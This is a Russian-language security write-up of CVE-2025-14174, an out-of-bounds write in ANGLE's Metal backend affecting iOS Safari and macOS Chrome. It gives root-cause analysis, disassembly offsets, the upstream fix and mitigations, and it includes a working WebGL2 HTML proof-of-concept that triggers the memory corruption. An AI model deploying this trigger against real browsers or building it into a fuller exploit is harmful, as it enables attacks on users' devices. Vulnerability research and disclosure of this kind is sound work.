
Анализ и PoC для CVE-2025-14174 - ANGLE Metal OOB write (iOS Safari, macOS Chrome)
| CVE | CVE-2025-14174 |
| Серьёзность | Высокая |
| Эксплуатация ITW | Да — целевые атаки на iOS < 26 |
| Затронуто | iOS Safari, macOS Chrome/Chromium/Electron (не macOS Safari) |
| Статус | Исправлено в коммите ANGLE 95a32cb |
| Авторство | Apple, Google Threat Analysis Group |
По данным Apple, CVE-2025-14174 использовалась в рамках «чрезвычайно сложной атаки на конкретных целевых лиц» на версиях iOS до iOS 26.
Цепочка атак включала:
В Metal-бэкенде ANGLE существует уязвимость записи за пределами границ (OOB) при загрузке текстур глубины через staging-буфер. Размер staging-буфера вычисляется с использованием GL_UNPACK_IMAGE_HEIGHT вместо фактической высоты текстуры. Когда UNPACK_IMAGE_HEIGHT < height, ANGLE выделяет буфер недостаточного размера и затем записывает в него height строк, что приводит к повреждению памяти GPU в процессе рендерера.
Эта уязвимость затрагивает приложения, использующие Metal-бэкенд ANGLE для WebGL:
| Платформа | ПО | Затронуто | Примечания |
|---|---|---|---|
| iOS | Safari | Да | WebKit на iOS использует ANGLE Metal для WebGL |
| macOS | Chrome / Chromium | Да | Использует Metal-бэкенд ANGLE |
| macOS | Electron-приложения | Да | Использует реализацию ANGLE из Chromium |
| macOS | Safari | Нет | Использует нативный Metal WebGL из WebKit, а не ANGLE |
iOS Safari подвержен уязвимости. На iOS WebKit использует ANGLE в качестве WebGL-бэкенда, поэтому Safari на iPhone и iPad уязвим.
macOS Safari НЕ подвержен. На macOS Safari использует собственную нативную WebGL-реализацию WebKit, которая взаимодействует напрямую с Metal, полностью минуя ANGLE.
macOS Chrome подвержен. Google Chrome на macOS 26.1 во время тестирования выглядел уязвимым, поскольку использует Metal-бэкенд ANGLE для WebGL.
Уязвимый путь выполнения кода находится в классе TextureMtl ANGLE (setSubImageImpl / setPerSliceSubImage / SaturateDepth).
| Серьёзность | Описание |
|---|---|
| Подтверждено | Запись в GPU/Metal-бэкенде за конец staging-буфера |
| Подтверждено | Воспроизводится через WebGL2 + PBO + DEPTH_COMPONENT32F |
| Вероятно | Сбой GPU-процесса или потеря контекста при нехватке памяти |
| Теоретически | Повреждение других ресурсов в памяти GPU (не продемонстрировано) |
Ключевые особенности:
NO_ERROR)В пути загрузки текстуры глубины D32F ANGLE вычисляет pixelsDepthPitch из GL_UNPACK_IMAGE_HEIGHT и использует это значение для определения размера staging-буфера MTLBuffer. Однако последующий compute-dispatch (насыщение глубины) использует фактическую высоту текстуры для операции, что приводит к OOB-записи, когда параметры различаются.
Для width=1, height=512, UNPACK_IMAGE_HEIGHT=128, DEPTH_COMPONENT32F:
| Параметр | Вычисление | Значение |
|---|---|---|
| Шаг строки | width * sizeof(float) | 4 байта |
| Staging-буфер (выделено) | rowPitch * UNPACK_IMAGE_HEIGHT | 512 байт |
| Compute-dispatch (записано) | rowPitch * actualHeight | 2048 байт |
| OOB-запись | 2048 - 512 | 1536 байт |
Должны выполняться все следующие условия:
DEPTH_COMPONENT32F (подтверждено; другие форматы глубины также могут быть затронуты, но не протестированы)PIXEL_UNPACK_BUFFERGL_UNPACK_IMAGE_HEIGHT установлено в значение меньше фактической высоты текстурыСогласно спецификации GL, GL_UNPACK_IMAGE_HEIGHT влияет на загрузку 3D/массивных текстур, а не 2D-текстур. Для TEXTURE_2D:
UNPACK_IMAGE_HEIGHT < height для 2D-текстурWebGL API
├── gl.pixelStorei(UNPACK_IMAGE_HEIGHT, small_value)
├── gl.bindBuffer(PIXEL_UNPACK_BUFFER, pbo)
└── gl.texImage2D(TEXTURE_2D, 0, DEPTH_COMPONENT32F, w, h, ...)
│
▼
ANGLE (Metal Backend)
├── TextureMtl::setImageImpl
│ └── TextureMtl::setSubImageImpl
│ └── Computes pixelsDepthPitch = rowPitch × UNPACK_IMAGE_HEIGHT
│
├── TextureMtl::setPerSliceSubImage
│ └── mtl::Buffer::MakeBufferWithStorageMode(context, 0, pixelsDepthPitch, ...) ← UNDERSIZED
│
└── SaturateDepth
├── getComputeCommandEncoder()
├── setBuffer(stagingBuffer, index=2)
└── dispatchThreads(MTLSize{width, actualHeight}) ← USES REAL HEIGHT
| Функция | Адрес | Роль |
|---|---|---|
setSubImageImpl | 0x272fa9028 | Вычисляет заниженный depthPitch |
setPerSliceSubImage | 0x272fac240 | Выделяет заниженный staging-буфер |
MakeBufferWithStorageMode | 0x272ef19bc | Создаёт MTLBuffer с неверным размером |
SaturateDepth | 0x272facfa4 | Запускает compute с фактическими размерами |
; setSubImageImpl - compute undersized depthPitch
0x272fa90f4: ldr w8, [x25, #0x10] ; load UNPACK_IMAGE_HEIGHT
0x272fa9100: umull x3, w2, w8 ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT
; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x272fac5bc: mov x2, x19 ; x2 = size (undersized depthPitch)
0x272fac5c4: bl #0x272ef19bc ; call MakeBufferWithStorageMode
| Функция | Адрес | Роль |
|---|---|---|
setSubImageImpl | 0x22c6d10f4 | Вычисляет заниженный depthPitch |
setPerSliceSubImage | 0x22c6d4398 | Выделяет заниженный staging-буфер |
MakeBufferWithStorageMode | 0x22c619490 | Создаёт MTLBuffer с неверным размером |
SaturateDepth | 0x22c6d5144 | Запускает compute с фактическими размерами |
; setSubImageImpl - compute undersized depthPitch
0x22c6d11c0: ldr w8, [x25, #0x10] ; load UNPACK_IMAGE_HEIGHT
0x22c6d11cc: umull x3, w2, w8 ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT
; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x22c6d461c: ldr x20, [sp, #0x48] ; load depthPitch from stack
0x22c6d4628: bl MakeBufferWithStorageMode
Функция SaturateDepth затем запускает Metal compute-shader с фактическими размерами текстуры, записывая данные за пределы заниженного staging-буфера.
<!DOCTYPE html>
<html>
<head><title>CVE-2025-14174 PoC</title></head>
<body>
<canvas id="c" width="1" height="1"></canvas>
<script>
const gl = document.getElementById('c').getContext('webgl2');
if (!gl) throw new Error('WebGL2 not supported');
const width = 256, height = 256;
const unpackHeight = 16; // << smaller than actual height
// Create PBO with depth data
const pbo = gl.createBuffer();
gl.bindBuffer(gl.PIXEL_UNPACK_BUFFER, pbo);
const data = new Float32Array(width * height);
gl.bufferData(gl.PIXEL_UNPACK_BUFFER, data, gl.STATIC_DRAW);
// Set the mismatch parameter
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, unpackHeight);
// Upload depth texture - triggers OOB write
const tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, tex);
gl.texImage2D(
gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
width, height, 0,
gl.DEPTH_COMPONENT, gl.FLOAT, 0
);
// Check for errors (typically returns NO_ERROR despite OOB)
const err = gl.getError();
console.log('gl.getError():', err === gl.NO_ERROR ? 'NO_ERROR' : err);
</script>
</body>
</html>
Ожидаемый результат на уязвимых системах: gl.getError() возвращает NO_ERROR, несмотря на OOB-запись, происходящую в GPU-процессе.
Коммит ANGLE 95a32cb исправляет выделение staging-буфера, используя фактические размеры текстуры:
// BEFORE (vulnerable)
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, pixelsDepthPitch, nullptr, &stagingBuffer));
// AFTER (fixed)
size_t imageSize = pixelsRowPitch * mtlArea.size.height;
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, imageSize, nullptr, &stagingBuffer));
Кроме того, было исправлено вычисление srcBytesPerImage для операции blit:
size_t srcBytesPerImage = mtlArea.size.depth > 1 ? pixelsDepthPitch : 0;
Эту уязвимость сложно обнаружить из JavaScript:
NO_ERROR, даже когда ошибка срабатывает| Подход | Описание |
|---|---|
| Обновление | Установите обновления платформы, содержащие исправление ANGLE |
| Обходной путь | Избегайте установки UNPACK_IMAGE_HEIGHT меньше фактической высоты для текстур глубины |
| Эшелонированная защита | Используйте загрузку фиксированного размера, где UNPACK_IMAGE_HEIGHT == height |
Обнаружение уязвимости: Apple, Google Threat Analysis Group
Технический анализ: Этот разбор документирует независимое исследование и реверс-инжиниринг уязвимости.
Анализ проведён в рамках исследовательского проекта SpiderWebKit по безопасности.